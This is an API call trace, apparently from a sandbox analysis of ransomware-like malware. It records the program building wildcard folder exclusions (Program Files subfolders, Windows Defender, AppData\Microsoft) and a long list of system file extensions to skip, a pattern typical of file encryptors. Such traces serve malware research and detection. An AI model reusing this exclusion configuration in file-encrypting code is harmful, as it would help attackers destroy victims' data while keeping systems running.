	[0053.928] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*Old Firefox data" | out: DestinationString="*Old Firefox data") 
	[0053.928] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*Old Firefox data", AllocateDestinationString=1 | out: DestinationString="*Old Firefox data") returned 0x0
	[0053.928] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x24) returned 0x947db0
	[0053.928] RtlFreeAnsiString (AnsiString="*") 
	[0053.928] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\windows media*" | out: DestinationString="*\\program file*\\windows media*") 
	[0053.928] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\windows media*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows media*") returned 0x0
	[0053.928] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x3e) returned 0x945ae0
	[0053.928] RtlFreeAnsiString (AnsiString="*") 
	[0053.928] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\windows portable*" | out: DestinationString="*\\program file*\\windows portable*") 
	[0053.928] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\windows portable*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows portable*") returned 0x0
	[0053.928] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x44) returned 0x94f560
	[0053.928] RtlFreeAnsiString (AnsiString="*") 
	[0053.928] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*windows defender" | out: DestinationString="*windows defender") 
	[0053.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*windows defender", AllocateDestinationString=1 | out: DestinationString="*windows defender") returned 0x0
	[0053.929] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x24) returned 0x947a20
	[0053.929] RtlFreeAnsiString (AnsiString="*") 
	[0053.929] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\windows nt" | out: DestinationString="*\\program file*\\windows nt") 
	[0053.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\windows nt", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows nt") returned 0x0
	[0053.929] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x36) returned 0x94b850
	[0053.929] RtlFreeAnsiString (AnsiString="*") 
	[0053.929] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\windows photo*" | out: DestinationString="*\\program file*\\windows photo*") 
	[0053.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\windows photo*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows photo*") returned 0x0
	[0053.929] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x3e) returned 0x945cd8
	[0053.929] RtlFreeAnsiString (AnsiString="*") 
	[0053.929] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\windows side*" | out: DestinationString="*\\program file*\\windows side*") 
	[0053.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\windows side*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows side*") returned 0x0
	[0053.929] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x3c) returned 0x945d68
	[0053.929] RtlFreeAnsiString (AnsiString="*") 
	[0053.929] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\windowspowershell" | out: DestinationString="*\\program file*\\windowspowershell") 
	[0053.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\windowspowershell", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windowspowershell") returned 0x0
	[0053.929] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x44) returned 0x94fa60
	[0053.929] RtlFreeAnsiString (AnsiString="*") 
	[0053.929] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\cuass*" | out: DestinationString="*\\program file*\\cuass*") 
	[0053.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\cuass*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\cuass*") returned 0x0
	[0053.929] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x2e) returned 0x94eaf8
	[0053.929] RtlFreeAnsiString (AnsiString="*") 
	[0053.929] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\microsoft games" | out: DestinationString="*\\program file*\\microsoft games") 
	[0053.929] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\microsoft games", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\microsoft games") returned 0x0
	[0053.929] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x40) returned 0x945fa8
	[0053.929] RtlFreeAnsiString (AnsiString="*") 
	[0053.929] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\common files\\system" | out: DestinationString="*\\program file*\\common files\\system") 
	[0053.930] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\common files\\system", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\system") returned 0x0
	[0053.930] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x48) returned 0x94f7e0
	[0053.930] RtlFreeAnsiString (AnsiString="*") 
	[0053.930] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\common files\\*shared" | out: DestinationString="*\\program file*\\common files\\*shared") 
	[0053.930] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\common files\\*shared", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\*shared") returned 0x0
	[0053.930] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4a) returned 0x954218
	[0053.930] RtlFreeAnsiString (AnsiString="*") 
	[0053.930] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\program file*\\common files\\reference ass*" | out: DestinationString="*\\program file*\\common files\\reference ass*") 
	[0053.930] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\program file*\\common files\\reference ass*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\reference ass*") returned 0x0
	[0053.930] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x58) returned 0x945620
	[0053.930] RtlFreeAnsiString (AnsiString="*") 
	[0053.930] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*\\windows\\cache*" | out: DestinationString="*\\windows\\cache*") 
	[0053.930] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*\\windows\\cache*", AllocateDestinationString=1 | out: DestinationString="*\\windows\\cache*") returned 0x0
	[0053.931] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x22) returned 0x947a80
	[0053.931] RtlFreeAnsiString (AnsiString="*") 
	[0053.931] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*temporary internet*" | out: DestinationString="*temporary internet*") 
	[0053.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*temporary internet*", AllocateDestinationString=1 | out: DestinationString="*temporary internet*") returned 0x0
	[0053.931] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x2a) returned 0x94e7e8
	[0053.931] RtlFreeAnsiString (AnsiString="*") 
	[0053.931] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*media player" | out: DestinationString="*media player") 
	[0053.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*media player", AllocateDestinationString=1 | out: DestinationString="*media player") returned 0x0
	[0053.931] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1c) returned 0x94f0f8
	[0053.931] RtlFreeAnsiString (AnsiString="*") 
	[0053.931] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*:\\users\\*\\appdata\\*\\microsoft" | out: DestinationString="*:\\users\\*\\appdata\\*\\microsoft") 
	[0053.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*:\\users\\*\\appdata\\*\\microsoft", AllocateDestinationString=1 | out: DestinationString="*:\\users\\*\\appdata\\*\\microsoft") returned 0x0
	[0053.931] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x3e) returned 0x945b28
	[0053.931] RtlFreeAnsiString (AnsiString="*") 
	[0053.931] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="\\\\*\\users\\*\\appdata\\*\\microsoft" | out: DestinationString="\\\\*\\users\\*\\appdata\\*\\microsoft") 
	[0053.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="\\\\*\\users\\*\\appdata\\*\\microsoft", AllocateDestinationString=1 | out: DestinationString="\\\\*\\users\\*\\appdata\\*\\microsoft") returned 0x0
	[0053.931] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x40) returned 0x945b70
	[0053.931] RtlFreeAnsiString (AnsiString="\\") 
	[0053.931] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xd0) returned 0x94d858
	[0053.931] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="msp" | out: DestinationString="msp") 
	[0053.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="msp", AllocateDestinationString=1 | out: DestinationString="msp") returned 0x0
	[0053.931] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x948798
	[0053.931] RtlFreeAnsiString (AnsiString="m") 
	[0053.931] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="exe" | out: DestinationString="exe") 
	[0053.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="exe", AllocateDestinationString=1 | out: DestinationString="exe") returned 0x0
	[0053.931] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9487e8
	[0053.931] RtlFreeAnsiString (AnsiString="e") 
	[0053.931] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="sys" | out: DestinationString="sys") 
	[0053.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="sys", AllocateDestinationString=1 | out: DestinationString="sys") returned 0x0
	[0053.932] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9487f8
	[0053.932] RtlFreeAnsiString (AnsiString="s") 
	[0053.932] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="msc" | out: DestinationString="msc") 
	[0053.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="msc", AllocateDestinationString=1 | out: DestinationString="msc") returned 0x0
	[0053.932] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9548d8
	[0053.932] RtlFreeAnsiString (AnsiString="m") 
	[0053.932] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="mod" | out: DestinationString="mod") 
	[0053.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="mod", AllocateDestinationString=1 | out: DestinationString="mod") returned 0x0
	[0053.932] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954918
	[0053.932] RtlFreeAnsiString (AnsiString="m") 
	[0053.932] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="clb" | out: DestinationString="clb") 
	[0053.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="clb", AllocateDestinationString=1 | out: DestinationString="clb") returned 0x0
	[0053.932] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954888
	[0053.932] RtlFreeAnsiString (AnsiString="c") 
	[0053.932] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="mui" | out: DestinationString="mui") 
	[0053.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="mui", AllocateDestinationString=1 | out: DestinationString="mui") returned 0x0
	[0053.932] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954898
	[0053.932] RtlFreeAnsiString (AnsiString="m") 
	[0053.932] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="regtrans-ms" | out: DestinationString="regtrans-ms") 
	[0053.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="regtrans-ms", AllocateDestinationString=1 | out: DestinationString="regtrans-ms") returned 0x0
	[0053.932] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952e20
	[0053.933] RtlFreeAnsiString (AnsiString="r") 
	[0053.933] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="theme" | out: DestinationString="theme") 
	[0053.933] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="theme", AllocateDestinationString=1 | out: DestinationString="theme") returned 0x0
	[0053.933] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953c48
	[0053.933] RtlFreeAnsiString (AnsiString="t") 
	[0053.933] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="hta" | out: DestinationString="hta") 
	[0053.933] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="hta", AllocateDestinationString=1 | out: DestinationString="hta") returned 0x0
	[0053.933] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9547a8
	[0053.933] RtlFreeAnsiString (AnsiString="h") 
	[0053.933] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="shs" | out: DestinationString="shs") 
	[0053.933] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="shs", AllocateDestinationString=1 | out: DestinationString="shs") returned 0x0
	[0053.933] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954868
	[0053.933] RtlFreeAnsiString (AnsiString="s") 
	[0053.933] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="nomedia" | out: DestinationString="nomedia") 
	[0053.933] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="nomedia", AllocateDestinationString=1 | out: DestinationString="nomedia") returned 0x0
	[0053.933] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x10) returned 0x953c60
	[0053.933] RtlFreeAnsiString (AnsiString="n") 
	[0053.933] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="diagpkg" | out: DestinationString="diagpkg") 
	[0053.933] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="diagpkg", AllocateDestinationString=1 | out: DestinationString="diagpkg") returned 0x0
	[0053.933] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x10) returned 0x953c78
	[0053.948] RtlFreeAnsiString (AnsiString="d") 
	[0053.948] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="cab" | out: DestinationString="cab") 
	[0053.948] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="cab", AllocateDestinationString=1 | out: DestinationString="cab") returned 0x0
	[0053.948] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9548f8
	[0053.948] RtlFreeAnsiString (AnsiString="c") 
	[0053.948] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ics" | out: DestinationString="ics") 
	[0053.948] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ics", AllocateDestinationString=1 | out: DestinationString="ics") returned 0x0
	[0053.948] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954908
	[0053.948] RtlFreeAnsiString (AnsiString="i") 
	[0053.948] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="msstyles" | out: DestinationString="msstyles") 
	[0053.948] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="msstyles", AllocateDestinationString=1 | out: DestinationString="msstyles") returned 0x0
	[0053.948] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x952e40
	[0053.948] RtlFreeAnsiString (AnsiString="m") 
	[0053.948] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="cur" | out: DestinationString="cur") 
	[0053.948] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="cur", AllocateDestinationString=1 | out: DestinationString="cur") returned 0x0
	[0053.953] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954878
	[0053.957] RtlFreeAnsiString (AnsiString="c") 
	[0053.957] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="drv" | out: DestinationString="drv") 
	[0053.957] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="drv", AllocateDestinationString=1 | out: DestinationString="drv") returned 0x0
	[0053.957] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9547c8
	[0053.957] RtlFreeAnsiString (AnsiString="d") 
	[0053.957] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="icns" | out: DestinationString="icns") 
	[0053.957] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="icns", AllocateDestinationString=1 | out: DestinationString="icns") returned 0x0
	[0053.957] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953df8
	[0053.957] RtlFreeAnsiString (AnsiString="i") 
	[0053.957] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="diagcfg" | out: DestinationString="diagcfg") 
	[0053.957] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="diagcfg", AllocateDestinationString=1 | out: DestinationString="diagcfg") returned 0x0
	[0053.957] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x10) returned 0x953bb8
	[0053.968] RtlFreeAnsiString (AnsiString="d") 
	[0053.968] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="dll" | out: DestinationString="dll") 
	[0053.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="dll", AllocateDestinationString=1 | out: DestinationString="dll") returned 0x0
	[0053.968] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9548a8
	[0053.968] RtlFreeAnsiString (AnsiString="d") 
	[0053.968] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ocx" | out: DestinationString="ocx") 
	[0053.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ocx", AllocateDestinationString=1 | out: DestinationString="ocx") returned 0x0
	[0053.968] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9548e8
	[0053.968] RtlFreeAnsiString (AnsiString="o") 
	[0053.968] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="lnk" | out: DestinationString="lnk") 
	[0053.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="lnk", AllocateDestinationString=1 | out: DestinationString="lnk") returned 0x0
	[0053.968] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954788
	[0053.968] RtlFreeAnsiString (AnsiString="l") 
	[0053.968] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ico" | out: DestinationString="ico") 
	[0053.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ico", AllocateDestinationString=1 | out: DestinationString="ico") returned 0x0
	[0053.968] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9547b8
	[0053.968] RtlFreeAnsiString (AnsiString="i") 
	[0053.968] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="idx" | out: DestinationString="idx") 
	[0053.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="idx", AllocateDestinationString=1 | out: DestinationString="idx") returned 0x0
	[0053.968] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954928
	[0053.968] RtlFreeAnsiString (AnsiString="i") 
	[0053.968] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ps1" | out: DestinationString="ps1") 
	[0053.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ps1", AllocateDestinationString=1 | out: DestinationString="ps1") returned 0x0
	[0053.968] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954798
	[0053.968] RtlFreeAnsiString (AnsiString="p") 
	[0053.968] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="mpa" | out: DestinationString="mpa") 
	[0053.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="mpa", AllocateDestinationString=1 | out: DestinationString="mpa") returned 0x0
	[0053.968] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9547d8
	[0053.968] RtlFreeAnsiString (AnsiString="m") 
	[0053.968] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="cpl" | out: DestinationString="cpl") 
	[0053.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="cpl", AllocateDestinationString=1 | out: DestinationString="cpl") returned 0x0
	[0053.969] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9547f8
	[0053.969] RtlFreeAnsiString (AnsiString="c") 
	[0053.969] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="icl" | out: DestinationString="icl") 
	[0053.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="icl", AllocateDestinationString=1 | out: DestinationString="icl") returned 0x0
	[0053.969] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954938
	[0053.969] RtlFreeAnsiString (AnsiString="i") 
	[0053.969] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="msu" | out: DestinationString="msu") 
	[0053.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="msu", AllocateDestinationString=1 | out: DestinationString="msu") returned 0x0
	[0053.969] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954958
	[0053.969] RtlFreeAnsiString (AnsiString="m") 
	[0053.969] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="msi" | out: DestinationString="msi") 
	[0053.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="msi", AllocateDestinationString=1 | out: DestinationString="msi") returned 0x0
	[0053.969] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954838
	[0053.969] RtlFreeAnsiString (AnsiString="m") 
	[0053.969] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="nls" | out: DestinationString="nls") 
	[0053.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="nls", AllocateDestinationString=1 | out: DestinationString="nls") returned 0x0
	[0053.969] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9547e8
	[0053.969] RtlFreeAnsiString (AnsiString="n") 
	[0053.969] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="scr" | out: DestinationString="scr") 
	[0053.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="scr", AllocateDestinationString=1 | out: DestinationString="scr") returned 0x0
	[0053.969] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954808
	[0053.969] RtlFreeAnsiString (AnsiString="s") 
	[0053.969] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="adv" | out: DestinationString="adv") 
	[0053.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="adv", AllocateDestinationString=1 | out: DestinationString="adv") returned 0x0
	[0053.969] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9548c8
	[0053.969] RtlFreeAnsiString (AnsiString="a") 
	[0053.969] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="386" | out: DestinationString="386") 
	[0053.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="386", AllocateDestinationString=1 | out: DestinationString="386") returned 0x0
	[0053.969] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954858
	[0053.969] RtlFreeAnsiString (AnsiString="3") 
	[0053.969] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="com" | out: DestinationString="com") 
	[0053.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="com", AllocateDestinationString=1 | out: DestinationString="com") returned 0x0
	[0053.970] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954818
	[0053.970] RtlFreeAnsiString (AnsiString="c") 
	[0053.970] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="hlp" | out: DestinationString="hlp") 
	[0053.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="hlp", AllocateDestinationString=1 | out: DestinationString="hlp") returned 0x0
	[0053.970] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9548b8
	[0053.970] RtlFreeAnsiString (AnsiString="h") 
	[0053.970] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="rom" | out: DestinationString="rom") 
	[0053.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="rom", AllocateDestinationString=1 | out: DestinationString="rom") returned 0x0
	[0053.970] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954828
	[0053.970] RtlFreeAnsiString (AnsiString="r") 
	[0053.970] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="lock" | out: DestinationString="lock") 
	[0053.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="lock", AllocateDestinationString=1 | out: DestinationString="lock") returned 0x0
	[0053.970] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953b70
	[0053.970] RtlFreeAnsiString (AnsiString="l") 
	[0053.970] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="386" | out: DestinationString="386") 
	[0053.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="386", AllocateDestinationString=1 | out: DestinationString="386") returned 0x0
	[0053.970] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954848
	[0053.970] RtlFreeAnsiString (AnsiString="3") 
	[0053.970] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="wpx" | out: DestinationString="wpx") 
	[0053.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="wpx", AllocateDestinationString=1 | out: DestinationString="wpx") returned 0x0
	[0053.970] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954768
	[0053.970] RtlFreeAnsiString (AnsiString="w") 
	[0053.970] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ani" | out: DestinationString="ani") 
	[0053.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ani", AllocateDestinationString=1 | out: DestinationString="ani") returned 0x0
	[0053.970] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954778
	[0053.970] RtlFreeAnsiString (AnsiString="a") 
	[0053.970] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="prf" | out: DestinationString="prf") 
	[0053.970] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="prf", AllocateDestinationString=1 | out: DestinationString="prf") returned 0x0
	[0053.970] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954b28
	[0053.970] RtlFreeAnsiString (AnsiString="p") 
	[0053.970] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="rtp" | out: DestinationString="rtp") 
	[0053.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="rtp", AllocateDestinationString=1 | out: DestinationString="rtp") returned 0x0
	[0053.971] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954968
	[0053.971] RtlFreeAnsiString (AnsiString="r") 
	[0053.971] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ldf" | out: DestinationString="ldf") 
	[0053.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ldf", AllocateDestinationString=1 | out: DestinationString="ldf") returned 0x0
	[0053.971] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9549b8
	[0053.971] RtlFreeAnsiString (AnsiString="l") 
	[0053.971] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="key" | out: DestinationString="key") 
	[0053.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="key", AllocateDestinationString=1 | out: DestinationString="key") returned 0x0
	[0053.971] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954988
	[0053.971] RtlFreeAnsiString (AnsiString="k") 
